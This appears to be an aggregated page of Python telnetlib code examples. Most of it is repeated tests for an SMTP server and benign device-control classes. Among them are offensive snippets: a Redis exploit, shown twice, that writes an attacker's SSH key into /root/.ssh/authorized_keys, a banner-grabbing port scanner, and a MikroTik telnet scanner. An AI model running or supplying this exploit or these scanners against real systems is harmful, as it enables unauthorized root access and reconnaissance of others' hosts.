Ejemplo n.º 1
0
    def testIllegalNoop(self):
        """The NOOP command fails if any argument is passed."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('NOOP something else here')
        self.assertEqual(client.read_some(), '501 Syntax: NOOP\r\n')
        client.close()
Ejemplo n.º 2
0
    def testLegalHelo(self):
        """The server responds to a valid HELO command."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('HELO localhost')
        self.assertEqual(client.read_some(), '250 test Hello 127.0.0.1\r\n')
        client.close()
Ejemplo n.º 3
0
 def testDataWithoutRcpt(self):
     """The DATA command must be preceded by the RCPT TO: command."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('DATA')
     self.assertEqual(client.read_some(), '503 Error: need RCPT command\r\n')
     client.close()
Ejemplo n.º 4
0
    def testLegalRset(self):
        """The RSET command takes no arguments."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('RSET')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.close()
Ejemplo n.º 5
0
 def testIllegalNoop(self):
     """The NOOP command fails if any argument is passed."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('NOOP something else here')
     self.assertEqual(client.read_some(), '501 Syntax: NOOP\r\n')
     client.close()
Ejemplo n.º 6
0
 def testIllegalHelo(self):
     """HELO takes a single argument."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('HELO')
     self.assertEqual(client.read_some(), '501 Syntax: HELO hostname\r\n')
     client.close()
Ejemplo n.º 7
0
    def testIllegalRset(self):
        """The RSET command fails if any argument is passed."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('RSET now')
        self.assertEqual(client.read_some(), '501 Syntax: RSET\r\n')
        client.close()
Ejemplo n.º 8
0
    def testIllegalHelo(self):
        """HELO takes a single argument."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('HELO')
        self.assertEqual(client.read_some(), '501 Syntax: HELO hostname\r\n')
        client.close()
Ejemplo n.º 9
0
 def testMailFromParse(self):
     """The MAIL command will extract the email address from the FROM:."""
 
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.close()
Ejemplo n.º 10
0
 def testMailFromParse(self):
     """The MAIL command handles empty addresses"""
 
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.close()
Ejemplo n.º 11
0
 def testIllegalRset(self):
     """The RSET command fails if any argument is passed."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('RSET now')
     self.assertEqual(client.read_some(), '501 Syntax: RSET\r\n')
     client.close()
Ejemplo n.º 12
0
 def testLegalHelo(self):
     """The server responds to a valid HELO command."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('HELO localhost')
     self.assertEqual(client.read_some(), '250 test Hello 127.0.0.1\r\n')
     client.close()
Ejemplo n.º 13
0
    def testMailFromParse(self):
        """The MAIL command handles empty addresses"""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.close()
Ejemplo n.º 14
0
 def testLegalRset(self):
     """The RSET command takes no arguments."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('RSET')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.close()
Ejemplo n.º 15
0
    def testMailFromParse(self):
        """The MAIL command will extract the email address from the FROM:."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.close()
Ejemplo n.º 16
0
 def testRcptWithoutMail(self):
     """The RCPT command must be preceded by the MAIL command."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('RCPT TO:<*****@*****.**>')
     self.assertEqual(client.read_some(), '503 Error: need MAIL command\r\n')
     client.close()
Ejemplo n.º 17
0
    def testUnknownCommand(self):
        """Unknown commands are ignored and the client informed."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('EHLO')
        self.assertEqual(client.read_some(),
                         '502 Error: command "EHLO" not implemented\r\n')
        client.close()
Ejemplo n.º 18
0
 def testUnknownCommand(self):
     """Unknown commands are ignored and the client informed."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('EHLO')
     self.assertEqual(client.read_some(), 
                      '502 Error: command "EHLO" not implemented\r\n')
     client.close()
Ejemplo n.º 19
0
    def testMailInvalidFrom(self):
        """The MAIL command requires FROM: to contain an email address."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:')
        self.assertEqual(client.read_some(),
                         '501 Syntax: MAIL FROM:<address>\r\n')
        client.close()
Ejemplo n.º 20
0
    def testRcptWithoutMail(self):
        """The RCPT command must be preceded by the MAIL command."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('RCPT TO:<*****@*****.**>')
        self.assertEqual(client.read_some(),
                         '503 Error: need MAIL command\r\n')
        client.close()
Ejemplo n.º 21
0
 def testMailNoFrom(self):
     """The MAIL command requires FROM: to follow it."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL')
     self.assertEqual(client.read_some(),
                      '501 Syntax: MAIL FROM:<address>\r\n')
     client.close()
Ejemplo n.º 22
0
    def testDataWithoutRcpt(self):
        """The DATA command must be preceded by the RCPT TO: command."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('DATA')
        self.assertEqual(client.read_some(),
                         '503 Error: need RCPT command\r\n')
        client.close()
Ejemplo n.º 23
0
 def testMailInvalidFrom(self):
     """The MAIL command requires FROM: to contain an email address."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:')
     self.assertEqual(client.read_some(),
                      '501 Syntax: MAIL FROM:<address>\r\n')
     client.close()
Ejemplo n.º 24
0
    def testMailNoFrom(self):
        """The MAIL command requires FROM: to follow it."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL')
        self.assertEqual(client.read_some(),
                         '501 Syntax: MAIL FROM:<address>\r\n')
        client.close()
Ejemplo n.º 25
0
 def testRcptEmptyTo(self):
     """The RCPT command cannot have an empty TO:."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('RCPT TO:')
     self.assertEqual(client.read_some(), '501 Syntax: RCPT TO: <address>\r\n')
     client.close()
Ejemplo n.º 26
0
    def testMultipleHelo(self):
        """Only a single HELO command is allowed per connection."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('HELO localhost')
        self.assertEqual(client.read_some(), '250 test Hello 127.0.0.1\r\n')
        client.write('HELO localhost')
        self.assertEqual(client.read_some(), '503 Duplicate HELO/EHLO\r\n')
        client.close()
Ejemplo n.º 27
0
 def testMultipleHelo(self):
     """Only a single HELO command is allowed per connection."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('HELO localhost')
     self.assertEqual(client.read_some(), '250 test Hello 127.0.0.1\r\n')
     client.write('HELO localhost')
     self.assertEqual(client.read_some(), '503 Duplicate HELO/EHLO\r\n')
     client.close()
Ejemplo n.º 28
0
 def testDuplicateMailCommand(self):
     """Nested MAIL commands are not allowed."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '503 Error: nested MAIL command\r\n')
     client.close()
Ejemplo n.º 29
0
 def testRcptWithoutTo(self):
     """The RCPT command must contain TO:<address> as the argument."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('RCPT')
     self.assertEqual(client.read_some(), '501 Syntax: RCPT TO: <address>\r\n')
     client.close()
Ejemplo n.º 30
0
    def testDuplicateMailCommand(self):
        """Nested MAIL commands are not allowed."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(),
                         '503 Error: nested MAIL command\r\n')
        client.close()
Ejemplo n.º 31
0
    def testRcptWithoutTo(self):
        """The RCPT command must contain TO:<address> as the argument."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('RCPT')
        self.assertEqual(client.read_some(),
                         '501 Syntax: RCPT TO: <address>\r\n')
        client.close()
Ejemplo n.º 32
0
    def testRcptEmptyTo(self):
        """The RCPT command cannot have an empty TO:."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('RCPT TO:')
        self.assertEqual(client.read_some(),
                         '501 Syntax: RCPT TO: <address>\r\n')
        client.close()
Ejemplo n.º 33
0
 def testDataArgument(self):
     """The DATA command does not take any arguments."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('RCPT TO:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('DATA some data here')
     self.assertEqual(client.read_some(), '501 Syntax: DATA\r\n')
     client.close()
Ejemplo n.º 34
0
    def testMultipleRcpts(self):
        """Multiple RCPT commands can be issued to add recipients."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')

        for rcpt in self.addrs:
            client.write('RCPT TO:<%s>' % rcpt)
            self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.close()
Ejemplo n.º 35
0
    def testDataArgument(self):
        """The DATA command does not take any arguments."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('RCPT TO:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('DATA some data here')
        self.assertEqual(client.read_some(), '501 Syntax: DATA\r\n')
        client.close()
Ejemplo n.º 36
0
 def testMultipleRcpts(self):
     """Multiple RCPT commands can be issued to add recipients."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     
     for rcpt in self.addrs:
         client.write('RCPT TO:<%s>' % rcpt)
         self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.close()
Ejemplo n.º 37
0
    def testDataResponse(self):
        """The DATA instructs the client to end the message with <CR><LF>.<CR><LF>."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('MAIL FROM:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('RCPT TO:<*****@*****.**>')
        self.assertEqual(client.read_some(), '250 Ok\r\n')
        client.write('DATA')
        self.assertEqual(client.read_some(),
                         '354 End data with <CR><LF>.<CR><LF>\r\n')
        client.close()
Ejemplo n.º 38
0
 def testDataResponse(self):
     """The DATA instructs the client to end the message with <CR><LF>.<CR><LF>."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('MAIL FROM:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('RCPT TO:<*****@*****.**>')
     self.assertEqual(client.read_some(), '250 Ok\r\n')
     client.write('DATA')
     self.assertEqual(client.read_some(),
                      '354 End data with <CR><LF>.<CR><LF>\r\n')
     client.close()
Ejemplo n.º 39
0
 def testWelcomeMessage(self):
     """On connecting the server sends a 220 response with a welcome message."""
     client = Telnet('localhost', 1025)
     self.assertEqual(client.read_some(),
                      '220 test node.js smtpevent server 0.0.2\r\n'
                      )
     client.close()
Ejemplo n.º 40
0
def attempt(host, port, timeout, outputFile, secondCall = False):
	try:
		tn = Telnet(host,port,timeout)
		tn.open(host,port,timeout)
		header = tn.read_some()
		tn.close()
		print "[!] Port %d seems to be open on %s" %(port,host)
		file = open(outputFile, 'a') #writes to file
		file.write("%s:%d"%(host,port))
		if header != "":
			file.write(" - %s"%(header))
		file.write("\n")
		file.close()
	except Exception, e:
		try:
			e[1]
			code, reason = e.args
			print "[ERROR] %s on %s:%d (%d)" %(reason,host,port,code)
		except IndexError:
			if e.args[0] == "timed out" and port in commonOpenPorts:
				if secondCall is False:
					print "[!] extending timeout on common port (%d)" %(port)
					return attempt(host, port, (timeout*2), outputFile, True)
			
			#only write timeouts to the file
			if e.args[0] == "timed out":
				file = open(outputTimeoutFile, 'a') #writes to file
				file.write("%s:%d"%(host,port))
				
				file.write("\n")
				file.close()
			print "[ERROR] %s on %s:%d " %(e.args[0],host,port)
Ejemplo n.º 41
0
def attempt(host, port, timeout, outputFile, secondCall=False):
    try:
        tn = Telnet(host, port, timeout)
        tn.open(host, port, timeout)
        header = tn.read_some()
        tn.close()
        print "[!] Port %d seems to be open on %s" % (port, host)
        file = open(outputFile, 'a')  #writes to file
        file.write("%s:%d" % (host, port))
        if header != "":
            file.write(" - %s" % (header))
        file.write("\n")
        file.close()
    except Exception, e:
        try:
            e[1]
            code, reason = e.args
            print "[ERROR] %s on %s:%d (%d)" % (reason, host, port, code)
        except IndexError:
            if e.args[0] == "timed out" and port in commonOpenPorts:
                if secondCall is False:
                    print "[!] extending timeout on common port (%d)" % (port)
                    return attempt(host, port, (timeout * 2), outputFile, True)

            #only write timeouts to the file
            if e.args[0] == "timed out":
                file = open(outputTimeoutFile, 'a')  #writes to file
                file.write("%s:%d" % (host, port))

                file.write("\n")
                file.close()
            print "[ERROR] %s on %s:%d " % (e.args[0], host, port)
Ejemplo n.º 42
0
class Keyboard:
    def __init__(self):
        self._host = "rpi"
        self._port = 1235

    def __enter__(self):
        """
        :rtype: Keyboard
        """
        try:
            self._telnet = Telnet(host=self._host, port=self._port, timeout=5.0)
        except socket.error as se:
            raise socket.error("Cannot connect to %s:%d. %s" % (self._host, self._port, se.message or se.strerror))
        welcome = self._telnet.read_some()
        logging.debug("Telnet: Welcome: " + welcome)
        assert welcome == 'ser2net port 1235 device /dev/ttyAMA0 [115200 N81]', welcome
        time.sleep(1.0)
        second_line = self._telnet.read_some()
        assert second_line == ' (Debian GNU/Linux)'
        return self

    def _send_packet(self, packet):
        """
        :type packet: str
        :rtype: str
        """
        assert type(packet) == str
        assert len(packet) == 4
        self._telnet.write(packet)
        written = self._telnet.read_some()
        logging.debug("Telnet: Written: " + written)
        return written

    def send_key(self, key):
        """
        :type key: str
        :rtype: bool
        """
        assert len(key) == 1
        str_to_write = b'0' + str(key) + b'00'
        return self._send_packet(str_to_write) == key

    # noinspection PyUnusedLocal
    def __exit__(self, exc_type, exc_val, exc_tb):
        self._telnet.close()
Ejemplo n.º 43
0
 def __request(self, message):
     try:
         telnet = Telnet(self.host, self.port)
     except Exception as error:
         print(f'Encountered: {error}')
     telnet.write(('%s\n' % message).encode('ascii'))
     response = telnet.read_some().decode('ascii').strip()
     telnet.write('c\n'.encode('ascii'))
     return response
Ejemplo n.º 44
0
	def checkConnectivity(self):
		"""
		Tries to establish a connection to the server and reads some of the data
		returned to see if an SSH connection is available. If so, triggers
		eventIsOnline.
		"""
		try:
			telnet = Telnet(self.server, 22)
			if 'SSH' in telnet.read_some():
				self.eventHandler.eventIsOnline()
		except gaierror, (errno, strerror):
			self.logger.debug(errno + ": " + strerror)
Ejemplo n.º 45
0
def crack_redis_server(ip, rsapubstr):
    print "start crack %s\n" % ip

    tn = Telnet(ip, 6379, timeout=5)

    tn.write("ping\n")
    result = tn.read_some()
    print result
    if result != "+PONG\r\n":
        return

    tn.write("config set dir /root/.ssh/\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write("config set dbfilename authorized_keys\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write('set xxxx "\\n\\n\\n%s\\n\\n\\n"\n' % rsapubstr)
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write("save\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    print "crack %s success\n" % ip
    crackresult.write("%s\n" % ip)
    crackresult.flush()
Ejemplo n.º 46
0
def crack_redis_server(ip, rsapubstr):
    print "start crack %s\n" % ip

    tn = Telnet(ip, 6379, timeout=5)

    tn.write("ping\n")
    result = tn.read_some()
    print result
    if result != "+PONG\r\n":
        return

    tn.write("config set dir /root/.ssh/\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write("config set dbfilename authorized_keys\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write('set xxxx "\\n\\n\\n%s\\n\\n\\n"\n' % rsapubstr)
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    tn.write("save\n")
    result = tn.read_some()
    print result
    if result != "+OK\r\n":
        return

    print "crack %s success\n" % ip
    crackresult.write("%s\n" % ip)
    crackresult.flush()
Ejemplo n.º 47
0
def main():
    ClearCLI()
    About()
    strFile = raw_input("Provide the directory ")
    blnSave = raw_input("Save result [y/n]?:")

    if os.path.exists(strFile):
        if len(strFile) != 0:
            File = open(strFile, 'r+')
            Buffer = File.readlines()
            List = []
            print('\n[+]Beginning the scan!')
            print('[+]Time now: ' + str(datetime.now()) + '\n')
            print('**********************************************')
            for lines in Buffer:
                try:
                    tn = Telnet(lines.strip(), 23)
                    strTemp = tn.read_some()

                    if len(strTemp) != 0:
                        if strTemp.find('MikroTik') != -1:
                            if blnSave == 'y':
                                List.append(lines)
                            print('[+]Mikrotik found at: {0}\n'.format(
                                lines.strip())),
                            print('[>]Header: {0}\n'.format(strTemp.strip()))
                        else:
                            print('[-]No results found: {0}\n'.format(
                                lines.strip()))
                    tn.close()

                except socket.timeout:
                    print('[-]Timeout at: {0}\n'.format(lines.strip()))
                    pass
                except socket.error:
                    print('[-]Telnet closed at: {0}\n'.format(lines.strip()))
                    pass
            File.close()

            if len(List) != 0:
                File = open('Servers.txt', 'w')
                for ips in List:
                    File.write(ips)
                File.close()
            print('*************Scanning done!**************')
            sys.stdin.read(1)
    else:
        print('[-]Directory not found! Please check directory name.')
        sys.stdin.read(1)
Ejemplo n.º 48
0
def main():
	ClearCLI()
	About()
	strFile = raw_input("Provide the directory ")
	blnSave = raw_input("Save result [y/n]?:")

	if os.path.exists(strFile):
	    if len(strFile) != 0:
	        File = open(strFile,'r+')
	        Buffer = File.readlines()
	        List = []
	        print('\n[+]Beginning the scan!')
	        print('[+]Time now: ' + str(datetime.now()) + '\n')
	        print('**********************************************')
	        for lines in Buffer:
		    try:
		       tn = Telnet(lines.strip(), 23)
		       strTemp = tn.read_some()

		       if len(strTemp) != 0:
		           if strTemp.find('MikroTik') != -1:
			       if blnSave == 'y':
			           List.append(lines)                               
			       print('[+]Mikrotik found at: {0}\n'.format(lines.strip())),
			       print('[>]Header: {0}\n'.format(strTemp.strip()))
		           else:
			       print('[-]No results found: {0}\n'.format(lines.strip()))
		       tn.close()
		
		    except socket.timeout:
		           print('[-]Timeout at: {0}\n'.format(lines.strip()))
		           pass
		    except socket.error:
		          print('[-]Telnet closed at: {0}\n'.format(lines.strip()))
		          pass
	        File.close()

	        if len(List) != 0:
		    File = open('Servers.txt','w')
		    for ips in List:
		        File.write(ips)
		    File.close()
	        print('*************Scanning done!**************')
                sys.stdin.read(1)
	else:
            print('[-]Directory not found! Please check directory name.')
            sys.stdin.read(1)   
Ejemplo n.º 49
0
def communicate(line):
    config = get_config(get_config_file())

    # # We do the login manually # #
    # Establish connection
    telnet = Telnet(config.get("Heliospectra", "MasterHost"),
            port=config.getint("Heliospectra", "MasterPort"))
    response = telnet.read_until(b">")
    if config.getboolean("Global", "Debug") > 0:
        print("Intial response is:", response.decode())

    wavelengths = [s.strip() for s in
            config.get("Heliospectra", "Wavelengths").split(",")]

    intensities = []
    for wl in sorted(wavelengths):
        intensity = float(line[config.getint("HeliospectraCsvFields", wl)])
        # Solarcalc gives percentages, telnet wants value in 0-255
        intensity = int(round(
            intensity * config.getfloat("Heliospectra", "Multiplier")
            ))
        intensities.append((wl, intensity))

    intensities = sorted(intensities)
    if config.getboolean("Global", "Debug"):
        print("Intensity list is:", intensities)

    set_cmd = config.get("Heliospectra", "SetallWlCommand")

    command_line = bytes("%s %s\n" % (
                set_cmd,
                " ".join("%i" % itn for _, itn in intensities)
                ),
            encoding="UTF8"
            )

    if config.getboolean("Global", "Debug"):
        print("Running:", command_line.decode())
    telnet.write(command_line)

    response = telnet.read_some()
    if config.getboolean("Global", "Debug"):
        print("Response is:", response.decode())

    # Close telnet session
    telnet.close()
def communicate(line):
    config = get_config(get_config_file())
    helio_mode = config.get("Heliospectra", "Mode")
    helio_csv = helio_mode + "CsvFields"
    # # We do the login manually # #
    # Establish connection
    telnet = Telnet(config.get(helio_mode, "MasterHost"),
            port=config.getint(helio_mode, "MasterPort"))
    response = telnet.read_until(b">")
    LOG.debug("Intial response is: {0!s}".format(response.decode()))

    wavelengths = [s.strip() for s in
            config.get(helio_mode, "Wavelengths").split(",")]
    # Build list of wl:intensity pairs to send
    intensities = []
    for wl in wavelengths:
        intensity = float(line[config.getint(helio_csv, wl)])
        # Solarcalc gives percentages, telnet wants value in 0-255
        intensity = int(round(
            intensity * config.getfloat(helio_mode, "Multiplier")
            ))
        intensities.append((wl, intensity))
    # And order them
    intensities = sorted(intensities)
    LOG.debug("Intensity list is: {0!s}".format(intensities))

    set_cmd = config.get(helio_mode, "SetallWlCommand")

    command_line = bytes("%s %s\n" % (
                set_cmd,
                " ".join("%i" % intens for _, intens in intensities)
                ),
            encoding="UTF8"
            )

    LOG.debug("Running: {0!s}".format(command_line.decode()))
    telnet.write(command_line)

    response = telnet.read_some()
    LOG.debug("Response is: {0!s}".format(response.decode()))

    # Close telnet session
    telnet.close()
Ejemplo n.º 51
0
    def testQuit(self):
        """The QUIT command doesn't care about arguments - the connection is
        closed regardless."""

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('QUIT')
        self.assertEqual(client.read_some(), '221 test closing connection\r\n')

        client = Telnet('localhost', 1025)
        client.read_some()
        client.write('QUIT See you later')
        self.assertEqual(client.read_some(), '221 test closing connection\r\n')
        client.close()
Ejemplo n.º 52
0
 def testQuit(self):
     """The QUIT command doesn't care about arguments - the connection is
     closed regardless."""
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('QUIT')
     self.assertEqual(client.read_some(), '221 test closing connection\r\n')
     
     client = Telnet('localhost', 1025)
     client.read_some()
     client.write('QUIT See you later')
     self.assertEqual(client.read_some(), '221 test closing connection\r\n')
     client.close()
Ejemplo n.º 53
0
class SerialOverTelnet:
    def __str__(self):
        return f"SerialOverTelnet({self.host}:{self.port})"

    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.conn = Telnet(host=self.host, port=self.port)
        self._timeout = None
        self._buff = None

    def readline(self):
        return self.conn.read_until(b"\n", timeout=self._timeout)

    def read(self, size):  # TODO: do the same but better!
        data = b""
        while len(data) < size:
            if not self._buff:
                self._buff = self.conn.read_some()
            chunk_size = min(size - len(data), len(self._buff))
            data = data + self._buff[:chunk_size]
            self._buff = self._buff[chunk_size:]
        return data

    def write(self, data):
        self.conn.write(data)

    def reset_input_buffer(self):
        self.conn.read_very_eager()  # drop all read data

    @property
    def timeout(self):
        return self._timeout

    @timeout.setter
    def timeout(self, timeout):
        self._timeout = timeout
Ejemplo n.º 54
0
#!/usr/bin/env python

from __future__ import print_function
from telnetlib import Telnet
"""
Telnet client using telentlib
Zihan Chen 2018-02-06
"""

# connect to local server port 9876
tn = Telnet('127.0.0.1', 9876)
tn.write('Alibaba\n')
print(tn.read_some())
Ejemplo n.º 55
0
def solve_challenge(host, port, password):
	tn = Telnet(host, port)
	# Password challenge/response
	data = tn.read_until(": ")
	print data
	tn.write(password + "\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	num1= int(tn.read_until(" "))
	print num1
	num2= int(tn.read_until(" "))
	print num2
	num3= int(tn.read_until(" "))
	print num3
	num4= int(tn.read_until(" "))
	print num4
	s=num1+num2+num3+num4
	print s
	tn.write(str(s)+ "\n")
	message=tn.read_until("\n")
	print message

	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")
	print tn.read_until("\n")

    
 	st=(tn.read_some())
 	print st
 	a1 = ord(st[0])+(ord(st[1])<<8)+(ord(st[2])<<16)+(ord(st[3])<<24)
 	print a1
	a2 = ord(st[4])+(ord(st[5])<<8)+(ord(st[6])<<16)+(ord(st[7])<<24)
	print a2	
	a3 = ord(st[8])+(ord(st[9])<<8)+(ord(st[10])<<16)+(ord(st[11])<<24)
	print a3
	a4 = ord(st[12])+(ord(st[13])<<8)+(ord(st[14])<<16)+(ord(st[15])<<24)
	print a4

	a=a1+a2+a3+a4
	print a

	r = chr(a&((1<<8)-1)) + chr((a>>8)&((1<<8)-1)) + chr((a>>16)&((1<<8)-1)) + chr((a>>24)&((1<<8)-1))
	print r

	tn.write(r)
 	print tn.read_some()
 	print tn.read_some()
 	print tn.read_some()


	print tn.read_until("")
	print tn.read_until("")
	print tn.read_until("")
	print tn.read_until("")

	





	tn.close()
Ejemplo n.º 56
0
class TeenAstro(object):
    def __init__(self, portType, portName):
        self.portType = portType
        self.portName = portName
        self.port = None
        self.axis1Gear = 0
        self.axis2Gear = 0
        self.dateTime = datetime.datetime(2020, 1, 1)

    def open(self):
        if self.portType == 'serial':
            try:
                self.port = serial.Serial(port=self.portName,
                                          baudrate=57600,
                                          bytesize=serial.EIGHTBITS,
                                          parity=serial.PARITY_NONE,
                                          stopbits=serial.STOPBITS_ONE,
                                          timeout=None,
                                          xonxoff=False,
                                          rtscts=False,
                                          write_timeout=None,
                                          dsrdtr=False,
                                          inter_byte_timeout=None)
                return self.port
            except:
                print('Error opening port')
                return None

        else:
            try:
                self.port = Telnet(
                    self.portName,
                    '9999')  # 9999 is the hard-coded IP port of TeenAstro
                return self.port
            except:
                print('Error opening port')
                return None

    def getValue(self, cmdStr):
        self.port.write(cmdStr.encode('utf-8'))
        # Read response byte to allow some time before the next command
        resp = (self.port.read_until(b'#', 100)).decode('utf-8')
        return resp.strip('#')

    def sendCommand(self, cmdStr):
        self.port.write(cmdStr.encode('utf-8'))

        # handle differences between serial and telnet
        if self.portType == 'serial':
            resp = (self.port.read(1)).decode('utf-8')
        else:
            resp = (self.port.read_some()).decode('utf-8')

        return resp

    def readGears(self):
        if (self.port != None):
            self.gear1 = self.getValue(':GXMGR#')
            self.steps1 = self.getValue(':GXMSR#')
            self.axis1Gear = int(self.gear1) * int(self.steps1)
            self.gear2 = self.getValue(':GXMGD#')
            self.steps2 = self.getValue(':GXMSD#')
            self.axis2Gear = int(self.gear2) * int(self.steps2)

    def readSite(self):
        if (self.port != None):
            self.latitude = dms2deg(self.getValue(':Gt#'))
            self.longitude = dms2deg(self.getValue(':Gg#'))
            self.UTCOffset = float(self.getValue(':GG#'))

    def setLatitude(self, latitude):
        if (self.sendCommand(':St%+03d*%02d#' % (deg2dm(latitude))) == '1'):
            self.latitude = latitude
        else:
            print('Error setting latitude')

    def setLongitude(self, longitude):
        if (self.sendCommand(':Sg%+04d*%02d#' % (deg2dm(longitude))) == '1'):
            self.longitude = longitude
        else:
            print('Error setting longitude')

    def setTimeZone(self, timeZone):
        if (self.sendCommand(':SG%+02.1f#' % (-float(timeZone))) == '1'):
            self.timeZone = timeZone
        else:
            print('Error setting timeZone')

    def setElevation(self, elevation):
        if (self.sendCommand(':Se%+04d#' % elevation) == 1):
            self.elevation = elevation
        else:
            print('Error setting elevation')

    def readDateTime(self):
        if (self.port != None):
            self.localTime = datetime.time.fromisoformat(self.getValue(':GL#'))
            (m, d, y) = self.getValue(':GC#').split('/')
            self.currentDate = datetime.date(int(y) + 2000, int(m), int(d))

    def readSidTime(self):
        if (self.port != None):
            self.sidTime = dms2deg(self.getValue(':GS#'))  # in decimal hours
            return self.sidTime

    def setLocalTime(self, t):
        if (self.port != None):
            self.sendCommand(":SL%02u:%02u:%02u#" %
                             (t.hour, t.minute, t.second))

    def setDate(self, d):
        if (self.port != None):
            self.sendCommand(":SC%02u/%02u/%02u#" %
                             (d.month, d.day, d.year % 100))

    def readStatus(self):
        if (self.port != None):
            try:
                self.status = self.getValue(':GXI#')
            except:
                print("Error reading status")

    def isStopped(self):
        self.readStatus()
        return (int(self.status[0]) & 1 == 0)

    def isTracking(self):
        self.readStatus()
        return (int(self.status[0]) & 1 == 1)

    def isSlewing(self):
        self.readStatus()
        return (int(self.status[0]) & 2 == 2)

    def getPierSide(self):
        self.readStatus()
        return (self.status[13])

    def getAxis1(self):
        if (self.port != None):
            try:
                self.axis1Steps = int(self.getValue(':GXDP0#').strip('#'))
                self.axis1Degrees = 90 + (90.0 / 4) * (
                    self.axis1Steps - 4 * self.axis1Gear) / self.axis1Gear
                return self.axis1Degrees
            except:
                print("Error reading Axis1")
                return None

    def getAxis2(self):
        if (self.port != None):
            try:
                self.axis2Steps = int(self.getValue(':GXDP1#').strip('#'))
                self.axis2Degrees = 90 - (90.0 / 4) * (
                    self.axis2Steps - 4 * self.axis2Gear) / self.axis2Gear
                return self.axis2Degrees
            except:
